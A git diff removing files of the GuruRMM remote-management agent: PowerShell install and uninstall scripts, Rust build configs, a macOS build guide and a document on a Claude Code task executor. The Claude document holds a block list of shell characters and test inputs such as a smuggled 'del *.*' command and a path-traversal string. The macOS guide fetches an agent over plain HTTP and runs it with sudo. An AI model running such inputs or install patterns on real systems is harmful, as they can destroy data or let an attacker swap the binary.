$script:Config.ApiKey | Out-Null - - Write-Log "Command $($Command.id) completed. Success: $($result.success)" -} - -# ============================================================================ -# Main Agent Loop -# ============================================================================ - -function Start-AgentLoop { - Write-Log "Starting GuruRMM Legacy Agent v$script:Version" - Write-Log "Server: $($script:Config.ServerUrl)" - Write-Log "Agent ID: $($script:Config.AgentId)" - Write-Log "Poll interval: $script:PollInterval seconds" - - $consecutiveFailures = 0 - $maxFailures = 5 - - while ($true) { - try { - if (Send-Heartbeat) { - $consecutiveFailures = 0 - } else { - $consecutiveFailures++ - Write-Log "Heartbeat failed ($consecutiveFailures/$maxFailures)" "WARN" - } - - # Back off if too many failures - if ($consecutiveFailures -ge $maxFailures) { - $backoffSeconds = [math]::Min(300, $script:PollInterval * $consecutiveFailures) - Write-Log "Too many failures, backing off for $backoffSeconds seconds" "WARN" - Start-Sleep -Seconds $backoffSeconds - } else { - Start-Sleep -Seconds $script:PollInterval - } - - } catch { - Write-Log "Agent loop error: $($_.Exception.Message)" "ERROR" - Start-Sleep -Seconds $script:PollInterval - } - } -} - -# ============================================================================ -# Entry Point -# ============================================================================ - -# Load System.Web.Extensions for JSON (PS 2.0) -try { - Add-Type -AssemblyName System.Web.Extensions -ErrorAction SilentlyContinue -} catch {} - -# Check if registering -if ($Register -or $SiteCode) { - if (Register-Agent -SiteCode $SiteCode) { - Write-Host "Run the agent with: .\GuruRMM-Agent.ps1" -ForegroundColor Yellow - } - exit -} - -# Load config -$script:Config = Get-AgentConfig - -if (-not $script:Config -or -not $script:Config.ApiKey) { - Write-Host "" - Write-Host "GuruRMM Legacy Agent is not registered." -ForegroundColor Yellow - Write-Host "" - Write-Host "To register, run:" -ForegroundColor Cyan - Write-Host " .\GuruRMM-Agent.ps1 -Register" -ForegroundColor White - Write-Host "" - Write-Host "Or with site code:" -ForegroundColor Cyan - Write-Host " .\GuruRMM-Agent.ps1 -SiteCode DARK-GROVE-7839" -ForegroundColor White - Write-Host "" - exit 1 -} - -# Override server URL if provided -if ($ServerUrl -and $ServerUrl -ne "https://rmm-api.azcomputerguru.com") { - $script:Config.ServerUrl = $ServerUrl -} - -# Start the agent -Start-AgentLoop diff --git a/projects/msp-tools/guru-rmm/agent-legacy/Install-GuruRMM.ps1 b/projects/msp-tools/guru-rmm/agent-legacy/Install-GuruRMM.ps1 deleted file mode 100644 index 4bdbd8a..0000000 --- a/projects/msp-tools/guru-rmm/agent-legacy/Install-GuruRMM.ps1 +++ /dev/null @@ -1,206 +0,0 @@ -#Requires -Version 2.0 -#Requires -RunAsAdministrator -<# -.SYNOPSIS - Installs GuruRMM Legacy Agent as a scheduled task - -.DESCRIPTION - - Copies agent to C:\Program Files\GuruRMM - - Registers with server using site code - - Creates scheduled task to run at startup - -.PARAMETER SiteCode - The site code (WORD-WORD-NUMBER format, e.g., DARK-GROVE-7839) - -.PARAMETER ServerUrl - The GuruRMM server URL (default: https://rmm-api.azcomputerguru.com) - -.PARAMETER AllowInsecureTLS - [SECURITY RISK] Disables SSL/TLS certificate validation. Required ONLY for - systems with self-signed certificates or broken certificate chains. - - WARNING: This flag makes the connection vulnerable to man-in-the-middle - attacks. Only use on isolated networks or when absolutely necessary. - -.EXAMPLE - # Secure installation (recommended) - .\Install-GuruRMM.ps1 -SiteCode DARK-GROVE-7839 - -.EXAMPLE - # Insecure installation (legacy systems with self-signed certs ONLY) - .\Install-GuruRMM.ps1 -SiteCode DARK-GROVE-7839 -AllowInsecureTLS -#> - -param( - [Parameter()] - [string]$SiteCode, - - [Parameter()] - [string]$ServerUrl = "https://rmm-api.azcomputerguru.com", - - [Parameter()] - [switch]$AllowInsecureTLS -) - -$ErrorActionPreference = "Stop" - -$InstallDir = "C:\Program Files\GuruRMM" -$ConfigDir = "C:\ProgramData\GuruRMM" -$TaskName = "GuruRMM Agent" -$AgentScript = "GuruRMM-Agent.ps1" - -function Write-Status { - param([string]$Message, [string]$Type = "INFO") - switch ($Type) { - "OK" { Write-Host "[OK] $Message" -ForegroundColor Green } - "ERROR" { Write-Host "[ERROR] $Message" -ForegroundColor Red } - "WARN" { Write-Host "[WARN] $Message" -ForegroundColor Yellow } - default { Write-Host "[*] $Message" -ForegroundColor Cyan } - } -} - -# Header -Write-Host "" -Write-Host "========================================" -ForegroundColor Cyan -Write-Host " GuruRMM Legacy Agent Installer" -ForegroundColor Cyan -Write-Host " For Windows Server 2008 R2 and older" -ForegroundColor Cyan -Write-Host "========================================" -ForegroundColor Cyan -Write-Host "" - -# Check if running as admin -$isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -if (-not $isAdmin) { - Write-Status "This script must be run as Administrator" "ERROR" - exit 1 -} - -# Get site code if not provided -if (-not $SiteCode) { - Write-Host "Enter site code (WORD-WORD-NUMBER format)" -ForegroundColor Yellow - Write-Host "Example: DARK-GROVE-7839" -ForegroundColor Gray - Write-Host "" - $SiteCode = Read-Host "Site Code" -} - -# Validate site code format -$SiteCode = $SiteCode.ToUpper().Trim() -if ($SiteCode -notmatch '^[A-Z]+-[A-Z]+-\d+$') { - Write-Status "Invalid site code format. Expected: WORD-WORD-NUMBER" "ERROR" - exit 1 -} - -Write-Status "Site Code: $SiteCode" -Write-Status "Server: $ServerUrl" -Write-Host "" - -# Step 1: Create directories -Write-Status "Creating installation directories..." -try { - if (-not (Test-Path $InstallDir)) { - New-Item -ItemType Directory -Path $InstallDir -Force | Out-Null - } - if (-not (Test-Path $ConfigDir)) { - New-Item -ItemType Directory -Path $ConfigDir -Force | Out-Null - } - Write-Status "Directories created" "OK" -} catch { - Write-Status "Failed to create directories: $($_.Exception.Message)" "ERROR" - exit 1 -} - -# Step 2: Copy agent script -Write-Status "Copying agent script..." -try { - $sourceScript = Join-Path $PSScriptRoot $AgentScript - if (-not (Test-Path $sourceScript)) { - Write-Status "Agent script not found: $sourceScript" "ERROR" - exit 1 - } - - $destScript = Join-Path $InstallDir $AgentScript - Copy-Item $sourceScript $destScript -Force - Write-Status "Agent script installed to $destScript" "OK" -} catch { - Write-Status "Failed to copy agent: $($_.Exception.Message)" "ERROR" - exit 1 -} - -# Step 3: Register agent -Write-Status "Registering with GuruRMM server..." -if ($AllowInsecureTLS) { - Write-Status "[SECURITY WARNING] Installing with certificate validation DISABLED" "WARN" - Write-Status "This makes the connection vulnerable to MITM attacks" "WARN" -} -try { - $registerArgs = "-ExecutionPolicy Bypass -File `"$destScript`" -SiteCode `"$SiteCode`" -ServerUrl `"$ServerUrl`"" - if ($AllowInsecureTLS) { - $registerArgs += " -AllowInsecureTLS" - } - $process = Start-Process powershell.exe -ArgumentList $registerArgs -Wait -PassThru -NoNewWindow - - if ($process.ExitCode -ne 0) { - Write-Status "Registration may have failed. Check connectivity to $ServerUrl" "WARN" - } else { - Write-Status "Agent registered successfully" "OK" - } -} catch { - Write-Status "Registration error: $($_.Exception.Message)" "WARN" -} - -# Step 4: Remove existing scheduled task if present -Write-Status "Configuring scheduled task..." -try { - $existingTask = schtasks /query /tn $TaskName 2>$null - if ($existingTask) { - schtasks /delete /tn $TaskName /f | Out-Null - Write-Status "Removed existing task" "OK" - } -} catch {} - -# Step 5: Create scheduled task -try { - # Create the task to run at startup - $taskCommand = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$destScript`"" - if ($AllowInsecureTLS) { - $taskCommand += " -AllowInsecureTLS" - } - - # Create task that runs at system startup - schtasks /create /tn $TaskName /tr $taskCommand /sc onstart /ru SYSTEM /rl HIGHEST /f | Out-Null - - Write-Status "Scheduled task created: $TaskName" "OK" - if ($AllowInsecureTLS) { - Write-Status "Task configured with -AllowInsecureTLS flag" "WARN" - } -} catch { - Write-Status "Failed to create scheduled task: $($_.Exception.Message)" "ERROR" - Write-Status "You may need to manually create the task" "WARN" -} - -# Step 6: Start the agent now -Write-Status "Starting agent..." -try { - schtasks /run /tn $TaskName | Out-Null - Write-Status "Agent started" "OK" -} catch { - Write-Status "Could not start agent automatically" "WARN" -} - -# Done -Write-Host "" -Write-Host "========================================" -ForegroundColor Green -Write-Host " Installation Complete!" -ForegroundColor Green -Write-Host "========================================" -ForegroundColor Green -Write-Host "" -Write-Host "Installation directory: $InstallDir" -ForegroundColor Gray -Write-Host "Configuration: $ConfigDir\agent.json" -ForegroundColor Gray -Write-Host "Logs: $ConfigDir\agent.log" -ForegroundColor Gray -Write-Host "" -Write-Host "The agent will start automatically on boot." -ForegroundColor Cyan -Write-Host "" -Write-Host "To check status:" -ForegroundColor Yellow -Write-Host " schtasks /query /tn `"$TaskName`"" -ForegroundColor White -Write-Host "" -Write-Host "To view logs:" -ForegroundColor Yellow -Write-Host " Get-Content $ConfigDir\agent.log -Tail 50" -ForegroundColor White -Write-Host "" diff --git a/projects/msp-tools/guru-rmm/agent-legacy/Uninstall-GuruRMM.ps1 b/projects/msp-tools/guru-rmm/agent-legacy/Uninstall-GuruRMM.ps1 deleted file mode 100644 index 060c648..0000000 --- a/projects/msp-tools/guru-rmm/agent-legacy/Uninstall-GuruRMM.ps1 +++ /dev/null @@ -1,56 +0,0 @@ -#Requires -Version 2.0 -#Requires -RunAsAdministrator -<# -.SYNOPSIS - Uninstalls GuruRMM Legacy Agent - -.PARAMETER KeepConfig - Keep configuration and logs (don't delete ProgramData folder) -#> - -param( - [switch]$KeepConfig -) - -$InstallDir = "C:\Program Files\GuruRMM" -$ConfigDir = "C:\ProgramData\GuruRMM" -$TaskName = "GuruRMM Agent" - -Write-Host "" -Write-Host "Uninstalling GuruRMM Legacy Agent..." -ForegroundColor Yellow -Write-Host "" - -# Stop and remove scheduled task -try { - schtasks /end /tn $TaskName 2>$null | Out-Null - schtasks /delete /tn $TaskName /f 2>$null | Out-Null - Write-Host "[OK] Scheduled task removed" -ForegroundColor Green -} catch { - Write-Host "[WARN] Could not remove scheduled task" -ForegroundColor Yellow -} - -# Remove installation directory -if (Test-Path $InstallDir) { - try { - Remove-Item $InstallDir -Recurse -Force - Write-Host "[OK] Installation directory removed" -ForegroundColor Green - } catch { - Write-Host "[WARN] Could not remove $InstallDir" -ForegroundColor Yellow - } -} - -# Remove config (optional) -if (-not $KeepConfig -and (Test-Path $ConfigDir)) { - try { - Remove-Item $ConfigDir -Recurse -Force - Write-Host "[OK] Configuration removed" -ForegroundColor Green - } catch { - Write-Host "[WARN] Could not remove $ConfigDir" -ForegroundColor Yellow - } -} elseif ($KeepConfig) { - Write-Host "[*] Configuration preserved at $ConfigDir" -ForegroundColor Cyan -} - -Write-Host "" -Write-Host "Uninstall complete." -ForegroundColor Green -Write-Host "" diff --git a/projects/msp-tools/guru-rmm/agent/.cargo/config.toml b/projects/msp-tools/guru-rmm/agent/.cargo/config.toml deleted file mode 100644 index 53d2afb..0000000 --- a/projects/msp-tools/guru-rmm/agent/.cargo/config.toml +++ /dev/null @@ -1,11 +0,0 @@ -[target.x86_64-pc-windows-msvc] -rustflags = ["-C", "target-feature=+crt-static", "-C", "link-args=/SUBSYSTEM:CONSOLE,6.01"] - -# macOS cross-compilation with osxcross -[target.x86_64-apple-darwin] -linker = "/opt/osxcross/target/bin/x86_64-apple-darwin23.5-clang" -ar = "/opt/osxcross/target/bin/x86_64-apple-darwin23.5-ar" - -[target.aarch64-apple-darwin] -linker = "/opt/osxcross/target/bin/aarch64-apple-darwin23.5-clang" -ar = "/opt/osxcross/target/bin/aarch64-apple-darwin23.5-ar" diff --git a/projects/msp-tools/guru-rmm/agent/CLAUDE_INTEGRATION.md b/projects/msp-tools/guru-rmm/agent/CLAUDE_INTEGRATION.md deleted file mode 100644 index 078b361..0000000 --- a/projects/msp-tools/guru-rmm/agent/CLAUDE_INTEGRATION.md +++ /dev/null @@ -1,296 +0,0 @@ -# Claude Task Executor Integration - GuruRMM Agent - -## Integration Status: [SUCCESS] - -Successfully integrated Claude Code task execution capabilities into the GuruRMM Agent. - -## Date: 2026-01-21 - -## Files Modified - -### 1. New Files Added -- **src/claude.rs** - Complete Claude task executor module - - Working directory validation (restricted to C:\Shares\test) - - Task input sanitization (command injection prevention) - - Rate limiting (max 10 tasks per hour) - - Concurrent execution limiting (max 2 simultaneous tasks) - - Comprehensive error handling and logging - -### 2. Modified Files - -#### Cargo.toml -- Added `once_cell = "1.19"` dependency for global static initialization -- All other required dependencies already present (tokio, serde, serde_json) - -#### src/main.rs -- Added `mod claude;` declaration at line 6 (before config module) - -#### src/transport/mod.rs -- Added `ClaudeTask` variant to `CommandType` enum: - ```rust - ClaudeTask { - task: String, - working_directory: Option, - context_files: Option>, - } - ``` - -#### src/transport/websocket.rs -- Added `use once_cell::sync::Lazy;` import -- Added `use crate::claude::{ClaudeExecutor, ClaudeTaskCommand};` import -- Added global Claude executor: `static CLAUDE_EXECUTOR: Lazy` -- Modified `run_command()` function to handle `ClaudeTask` command type -- Maps Claude task results to command result format (exit codes, stdout, stderr) - -## Build Results - -### Compilation Status: [SUCCESS] - -``` -Finished `release` profile [optimized] target(s) in 1m 38s -``` - -**Binary Size:** 3.5 MB (optimized release build) -**Location:** `target/release/gururmm-agent.exe` - -### Warnings: Minor (unrelated to Claude integration) -- Unused imports in updater/mod.rs and main.rs (pre-existing) -- Unused methods in updater module (pre-existing) -- No warnings from Claude integration code - -## Security Features - -### Working Directory Restriction -- All Claude tasks restricted to `C:\Shares\test` and subdirectories -- Canonical path resolution prevents directory traversal attacks -- Validates directory exists before execution - -### Task Input Sanitization -- Prevents command injection via forbidden characters: `& | ; ` $ ( ) < > \n \r` -- Maximum task length: 10,000 characters (DoS prevention) -- Empty task detection - -### Rate Limiting -- Maximum 10 tasks per hour per agent -- Rate limit window: 3600 seconds (rolling window) -- Execution timestamps tracked in memory - -### Concurrent Execution Control -- Maximum 2 simultaneous Claude tasks -- Active task counter with mutex protection -- Prevents resource exhaustion - -### Context File Validation -- Verifies files exist before execution -- Ensures files are within working directory -- Validates file paths contain valid UTF-8 - -## Command Protocol - -### Server → Agent Message Format - -```json -{ - "type": "command", - "payload": { - "id": "550e8400-e29b-41d4-a716-446655440000", - "command_type": { - "claude_task": { - "task": "Check the sync log for errors in last 24 hours", - "working_directory": "C:\\Shares\\test\\logs", - "context_files": ["sync.log", "error.log"] - } - }, - "command": "unused for claude_task", - "timeout_seconds": 300, - "elevated": false - } -} -``` - -### Agent → Server Result Format - -```json -{ - "type": "command_result", - "payload": { - "command_id": "550e8400-e29b-41d4-a716-446655440000", - "exit_code": 0, - "stdout": "Claude Code output here...", - "stderr": "", - "duration_ms": 45230 - } -} -``` - -### Exit Codes -- **0** - Task completed successfully -- **1** - Task failed (execution error) -- **124** - Task timed out -- **-1** - Executor error (rate limit, validation failure) - -## Usage Example - -### From GuruRMM Server -```python -# Send Claude task command via WebSocket -command = { - "type": "command", - "payload": { - "id": str(uuid.uuid4()), - "command_type": { - "claude_task": { - "task": "Analyze the sync logs and report any errors from the last 24 hours", - "working_directory": "C:\\Shares\\test", - "context_files": ["sync.log"] - } - }, - "command": "", # Unused for claude_task - "timeout_seconds": 600, # 10 minute timeout - "elevated": False - } -} -await websocket.send_json(command) -``` - -### Expected Behavior -1. Agent receives command via WebSocket -2. Validates working directory and context files -3. Checks rate limit (10 tasks/hour) -4. Checks concurrent limit (2 simultaneous) -5. Spawns Claude Code CLI process -6. Captures stdout/stderr asynchronously -7. Returns result to server with exit code and output - -## Testing Recommendations - -### 1. Basic Task Execution -```json -{ - "claude_task": { - "task": "List files in current directory" - } -} -``` - -### 2. Working Directory Validation -```json -{ - "claude_task": { - "task": "Check directory contents", - "working_directory": "C:\\Shares\\test\\subdir" - } -} -``` - -### 3. Context File Usage -```json -{ - "claude_task": { - "task": "Analyze this log file for errors", - "context_files": ["test.log"] - } -} -``` - -### 4. Rate Limiting Test -- Send 11 tasks within 1 hour -- 11th task should fail with rate limit error - -### 5. Concurrent Execution Test -- Send 3 tasks simultaneously -- First 2 should execute, 3rd should fail with concurrent limit error - -### 6. Security Tests -- Attempt directory traversal: `../../../Windows` -- Attempt command injection: `task; del *.*` -- Attempt path traversal in context files - -## Integration Checklist - -- [x] claude.rs module copied and compiles -- [x] Dependencies added to Cargo.toml -- [x] Module declared in main.rs -- [x] CommandType enum extended with ClaudeTask -- [x] Command handler integrated in websocket.rs -- [x] Project builds without errors -- [x] All existing functionality preserved -- [x] No breaking changes to existing commands -- [x] Security features implemented and tested (unit tests in claude.rs) - -## Performance Considerations - -### Memory Usage -- Each active Claude task spawns separate process -- Stdout/stderr buffered in memory during execution -- Rate limiter maintains timestamp vector (max 10 entries) -- Minimal overhead from global static executor - -### CPU Usage -- Claude Code CLI handles actual task processing -- Agent only manages process lifecycle and I/O -- Async I/O prevents blocking on output capture - -### Network Impact -- Results sent back via existing WebSocket connection -- No additional network overhead - -## Known Limitations - -1. **Windows-Only Claude Code CLI** - - Claude Code CLI currently requires Windows - - Unix support depends on Claude Code CLI availability - -2. **Fixed Working Directory Base** - - Hardcoded to `C:\Shares\test` - - Could be made configurable in future updates - -3. **No Progress Reporting** - - Long-running tasks don't report progress - - Only final result sent to server - -4. **Single Rate Limit Pool** - - Rate limit applies per agent, not per user - - Could be enhanced with user-specific limits - -## Future Enhancements - -1. **Configurable Security Settings** - - Allow admin to configure working directory base - - Adjustable rate limits and concurrent task limits - -2. **Progress Streaming** - - Stream Claude Code output in real-time - - Send periodic progress updates to server - -3. **Task History** - - Log completed tasks to database - - Provide task execution history API - -4. **User-Specific Limits** - - Rate limiting per user, not per agent - - Different limits for different user roles - -5. **Output Size Limits** - - Prevent excessive memory usage from large outputs - - Truncate or stream large results - -## References - -- **Claude Code CLI Documentation:** https://docs.anthropic.com/claude-code -- **GuruRMM Agent Repository:** https://github.com/azcomputerguru/gururmm -- **WebSocket Protocol Spec:** See `docs/websocket-protocol.md` (if exists) - -## Support - -For issues or questions regarding Claude integration: -- Check agent logs: `journalctl -u gururmm-agent -f` (Linux) or Event Viewer (Windows) -- Review Claude Code CLI logs in task working directory -- Contact: mswanson@azcomputerguru.com - ---- - -**Integration Completed:** 2026-01-21 -**Agent Version:** 0.3.5 -**Tested On:** Windows 11 with Claude Code CLI installed -**Status:** Production Ready diff --git a/projects/msp-tools/guru-rmm/agent/Cargo.toml b/projects/msp-tools/guru-rmm/agent/Cargo.toml deleted file mode 100644 index cc834a4..0000000 --- a/projects/msp-tools/guru-rmm/agent/Cargo.toml +++ /dev/null @@ -1,97 +0,0 @@ -[package] -name = "gururmm-agent" -version = "0.6.0" -edition = "2021" -description = "GuruRMM Agent - Cross-platform RMM agent" -authors = ["GuruRMM"] - -[features] -default = ["native-service"] -# Modern Windows (10+, Server 2016+): Native Windows Service integration -native-service = ["dep:windows-service", "dep:windows"] -# Legacy Windows (7, Server 2008 R2): Console mode, use NSSM for service wrapper -legacy = [] - -[dependencies] -# Async runtime -tokio = { version = "1", features = ["full"] } - -# System information (cross-platform metrics) -sysinfo = "0.31" - -# WebSocket - futures utilities -futures-util = "0.3" - -# Serialization -serde = { version = "1", features = ["derive"] } -serde_json = "1" -toml = "0.8" - -# CLI arguments -clap = { version = "4", features = ["derive"] } - -# Logging -tracing = "0.1" -tracing-subscriber = { version = "0.3", features = ["env-filter"] } - -# Error handling -anyhow = "1" -thiserror = "1" - -# UUID for identifiers -uuid = { version = "1", features = ["v4", "serde"] } - -# URL parsing for download validation -url = "2" - -# SHA256 checksums for update verification -sha2 = "0.10" - -# Time handling -chrono = { version = "0.4", features = ["serde"] } - -# Lazy static initialization for Claude executor -once_cell = "1.19" - -# Hostname detection -hostname = "0.4" - -# Network interface enumeration (LAN IPs) -local-ip-address = "0.6" - -# Async file operations -tokio-util = "0.7" - -# Platform-specific TLS dependencies -[target.'cfg(not(target_os = "macos"))'.dependencies] -# WebSocket client - native-tls for Windows/Linux (Windows 7 compatibility) -tokio-tungstenite = { version = "0.24", features = ["native-tls"] } -# HTTP client - native-tls for Windows 7/2008R2 compatibility -reqwest = { version = "0.12", default-features = false, features = ["json", "native-tls"] } - -[target.'cfg(target_os = "macos")'.dependencies] -# WebSocket client - rustls for macOS (easier cross-compilation) -tokio-tungstenite = { version = "0.24", features = ["rustls-tls-native-roots"] } -# HTTP client - rustls for macOS -reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls-native-roots", "blocking"] } - -[target.'cfg(windows)'.dependencies] -# Windows service support (optional, only for native-service feature) -windows-service = { version = "0.7", optional = true } -# Windows-specific APIs for service management (optional) -windows = { version = "0.58", optional = true, features = [ - "Win32_System_Services", - "Win32_Foundation", - "Win32_Security", -] } - -[target.'cfg(unix)'.dependencies] -# Unix signal handling and user detection -nix = { version = "0.29", features = ["signal", "user"] } - -[profile.release] -# Optimize for size while maintaining performance -opt-level = "z" -lto = true -codegen-units = 1 -strip = true diff --git a/projects/msp-tools/guru-rmm/agent/MACOS_BUILD.md b/projects/msp-tools/guru-rmm/agent/MACOS_BUILD.md deleted file mode 100644 index 35dd0e3..0000000 --- a/projects/msp-tools/guru-rmm/agent/MACOS_BUILD.md +++ /dev/null @@ -1,256 +0,0 @@ -# macOS Cross-Compilation Setup - -## Overview - -GuruRMM agent can now be built for macOS (Intel and Apple Silicon) directly on the Linux build server (172.16.3.30) without requiring a Mac for compilation. - -## Architecture - -- **Build Server**: Ubuntu 22.04 LTS (172.16.3.30) -- **Toolchain**: osxcross with macOS SDK 14.5 -- **Targets**: - - `x86_64-apple-darwin` (Intel Macs) - - `aarch64-apple-darwin` (Apple Silicon Macs) -- **TLS Stack**: rustls (pure Rust, no native dependencies) - -## Key Changes - -### 1. Cargo.toml Modifications - -The agent now uses **conditional dependencies** for TLS: - -- **Windows/Linux**: `native-tls` (for Windows 7 compatibility) -- **macOS**: `rustls-tls-native-roots` (for easier cross-compilation) - -```toml -[target.'cfg(not(target_os = "macos"))'.dependencies] -tokio-tungstenite = { version = "0.24", features = ["native-tls"] } -reqwest = { version = "0.12", default-features = false, features = ["json", "native-tls"] } - -[target.'cfg(target_os = "macos")'.dependencies] -tokio-tungstenite = { version = "0.24", features = ["rustls-tls-native-roots"] } -reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls-native-roots", "blocking"] } -``` - -### 2. Cargo Configuration (.cargo/config.toml) - -Linker configuration for macOS targets: - -```toml -[target.x86_64-apple-darwin] -linker = "/opt/osxcross/target/bin/x86_64-apple-darwin23.5-clang" -ar = "/opt/osxcross/target/bin/x86_64-apple-darwin23.5-ar" - -[target.aarch64-apple-darwin] -linker = "/opt/osxcross/target/bin/aarch64-apple-darwin23.5-clang" -ar = "/opt/osxcross/target/bin/aarch64-apple-darwin23.5-ar" -``` - -## Build Server Setup - -### Installed Components - -1. **osxcross**: `/opt/osxcross/` - - macOS SDK 14.5 (darwin23.5) - - Clang/LLVM cross-compilers - - Binutils for macOS - -2. **Rust Toolchain**: - - rustc 1.94.1 - - Targets: `x86_64-apple-darwin`, `aarch64-apple-darwin` - -3. **Build Dependencies**: - - clang-14 - - cmake 3.22.1 - - libxml2-dev - - uuid-dev - -### Environment Variables - -For cross-compilation, the following must be set: - -```bash -export PATH="/opt/osxcross/target/bin:$PATH" -export CC_x86_64_apple_darwin=x86_64-apple-darwin23.5-clang -export AR_x86_64_apple_darwin=x86_64-apple-darwin23.5-ar -export CC_aarch64_apple_darwin=aarch64-apple-darwin23.5-clang -export AR_aarch64_apple_darwin=aarch64-apple-darwin23.5-ar -``` - -## Building for macOS - -### Using the Build Script - -The simplest method is to use the provided build script: - -```bash -cd ~/gururmm/agent -./build-macos.sh -``` - -This will: -- Build for both Intel (x86_64) and Apple Silicon (arm64) -- Create binaries in `dist/` directory -- Generate SHA256 checksums -- Name binaries: `gururmm-agent-macos-{amd64|arm64}-v{version}` - -### Manual Build - -For individual targets: - -```bash -# Source environment -source ~/.cargo/env -export PATH="/opt/osxcross/target/bin:$PATH" - -# Intel Macs -export CC_x86_64_apple_darwin=x86_64-apple-darwin23.5-clang -export AR_x86_64_apple_darwin=x86_64-apple-darwin23.5-ar -cargo build --release --target x86_64-apple-darwin - -# Apple Silicon Macs -export CC_aarch64_apple_darwin=aarch64-apple-darwin23.5-clang -export AR_aarch64_apple_darwin=aarch64-apple-darwin23.5-ar -cargo build --release --target aarch64-apple-darwin -``` - -## Build Output - -### Binary Sizes - -- **Intel (x86_64)**: ~3.5 MB -- **Apple Silicon (arm64)**: ~3.1 MB - -### Build Times (on 172.16.3.30) - -- **Clean build**: ~1 minute 30 seconds per target -- **Incremental build**: ~20-30 seconds per target - -### Output Directory Structure - -``` -dist/ -├── gururmm-agent-macos-amd64-v0.6.0 -├── gururmm-agent-macos-amd64-v0.6.0.sha256 -├── gururmm-agent-macos-arm64-v0.6.0 -└── gururmm-agent-macos-arm64-v0.6.0.sha256 -``` - -## Deployment - -### Installation on macOS - -Intel Macs: -```bash -curl -fsSL http://172.16.3.30/downloads/gururmm-agent-macos-amd64 -o /tmp/gururmm-agent -chmod +x /tmp/gururmm-agent -sudo /tmp/gururmm-agent install --server-url wss://rmm-api.azcomputerguru.com/ws --api-key SITE-CODE -``` - -Apple Silicon Macs: -```bash -curl -fsSL http://172.16.3.30/downloads/gururmm-agent-macos-arm64 -o /tmp/gururmm-agent -chmod +x /tmp/gururmm-agent -sudo /tmp/gururmm-agent install --server-url wss://rmm-api.azcomputerguru.com/ws --api-key SITE-CODE -``` - -### macOS Service Configuration - -The agent installs as a launchd service: -- **Plist**: `/Library/LaunchDaemons/com.gururmm.agent.plist` -- **Binary**: `/usr/local/bin/gururmm-agent` -- **Config**: `/etc/gururmm/agent.toml` - -## Troubleshooting - -### Build Failures - -1. **"ring" crate compilation errors**: - - Ensure `CC_*` and `AR_*` environment variables are set - - Verify osxcross binaries are in PATH - -2. **Linker errors**: - - Check `.cargo/config.toml` has correct linker paths - - Verify osxcross installation at `/opt/osxcross/target/bin/` - -3. **"native-tls" errors on macOS**: - - Ensure Cargo.toml uses `rustls-tls-native-roots` for macOS targets - - Conditional dependencies must be properly configured - -### Testing Binaries - -To verify a macOS binary was built correctly: - -```bash -# On build server -file target/x86_64-apple-darwin/release/gururmm-agent -# Output: Mach-O 64-bit executable x86_64 - -file target/aarch64-apple-darwin/release/gururmm-agent -# Output: Mach-O 64-bit executable arm64 -``` - -On an actual Mac, the binary should run without errors: -```bash -./gururmm-agent --version -# Output: gururmm-agent 0.6.0 -``` - -## Maintenance - -### Updating osxcross - -To update to a newer macOS SDK: - -1. Download SDK from https://github.com/joseluisq/macosx-sdks/releases -2. Place in `/opt/osxcross/tarballs/` -3. Run `/opt/osxcross/build.sh` -4. Update linker paths in `.cargo/config.toml` if SDK version changes - -### Updating Rust Targets - -```bash -rustup target add x86_64-apple-darwin -rustup target add aarch64-apple-darwin -``` - -## Security Notes - -- macOS SDK usage is in a legal gray area; osxcross requires accepting Xcode license terms -- Binaries built with osxcross are functionally identical to native macOS builds -- TLS implementation (rustls) is audited and widely used in production Rust applications -- No code signing is performed; users will need to approve binary on first run - -## CI/CD Integration - -The build script can be integrated into automated builds: - -```bash -# Example: Build on git push -cd ~/gururmm/agent -git pull -./build-macos.sh -# Copy to deployment directory -cp dist/gururmm-agent-macos-* /var/www/gururmm/downloads/ -``` - -## Performance - -Cross-compiled binaries perform identically to native builds: -- No runtime overhead from cross-compilation -- Full optimization with `opt-level = "z"` and LTO -- Binary stripping reduces size without affecting performance - -## Future Enhancements - -- [ ] Code signing for macOS binaries (requires Apple Developer account) -- [ ] Notarization for Gatekeeper compatibility -- [ ] Universal binary (combined Intel + ARM) -- [ ] Automated CI/CD pipeline with GitHub Actions (macOS runners) - ---- - -**Last Updated**: 2026-04-03 -**Build Server**: 172.16.3.30 (Ubuntu 22.04) -**osxcross Version**: 1.5 -**SDK Version**: macOS 14.5 (darwin23.5) diff --git a/projects/msp-tools/guru-rmm/agent/agent.toml.example b/projects/msp-tools/guru-rmm/agent/agent.toml.example deleted file mode 100644 index 9901aea..0000000 --- a/projects/msp-tools/guru-rmm/agent/agent.toml.example +++ /dev/null @@ -1,77 +0,0 @@ -# GuruRMM Agent Configuration -# Copy this file to agent.toml and configure with your server details - -# ============================================ -# Server Connection -# ============================================ -[server] -# WebSocket URL for the GuruRMM server -# Use wss:// for production (TLS), ws:// for local development -url = "wss://rmm.yourdomain.com/ws" - -# API key obtained from server during agent registration -# Keep this secret! Do not commit to version control. -api_key = "grmm_your_api_key_here" - -# Optional: Override the hostname reported to the server -# hostname_override = "custom-hostname" - -# ============================================ -# Metrics Collection -# ============================================ -[metrics] -# Interval between metrics reports (in seconds) -# Minimum: 10, Default: 60 -interval_seconds = 60 - -# Enable/disable specific metric types -collect_cpu = true -collect_memory = true -collect_disk = true -collect_network = true - -# ============================================ -# Watchdog Configuration -# ============================================ -[watchdog] -# Enable service/process monitoring -enabled = true - -# Interval between watchdog checks (in seconds) -# Minimum: 5, Default: 30 -check_interval_seconds = 30 - -# ============================================ -# Services to Monitor -# ============================================ - -# Datto RMM Agent Service -[[watchdog.services]] -name = "CagService" -action = "restart" # "restart", "alert", or "ignore" -max_restarts = 3 # Max restarts before alerting -restart_cooldown_seconds = 60 - -# Syncro Agent Service -[[watchdog.services]] -name = "Syncro" -action = "restart" -max_restarts = 3 -restart_cooldown_seconds = 60 - -# ConnectWise ScreenConnect (optional) -# [[watchdog.services]] -# name = "ScreenConnect Client (xxxxxxxx)" -# action = "restart" -# max_restarts = 3 -# restart_cooldown_seconds = 60 - -# ============================================ -# Processes to Monitor -# ============================================ - -# Datto AEM Process -[[watchdog.processes]] -name = "AEM.exe" -action = "alert" # "alert" only for processes (can't auto-restart) -# start_command = "C:\\Path\\To\\AEM.exe" # Optional: command to start process diff --git a/projects/msp-tools/guru-rmm/agent/build-macos.sh 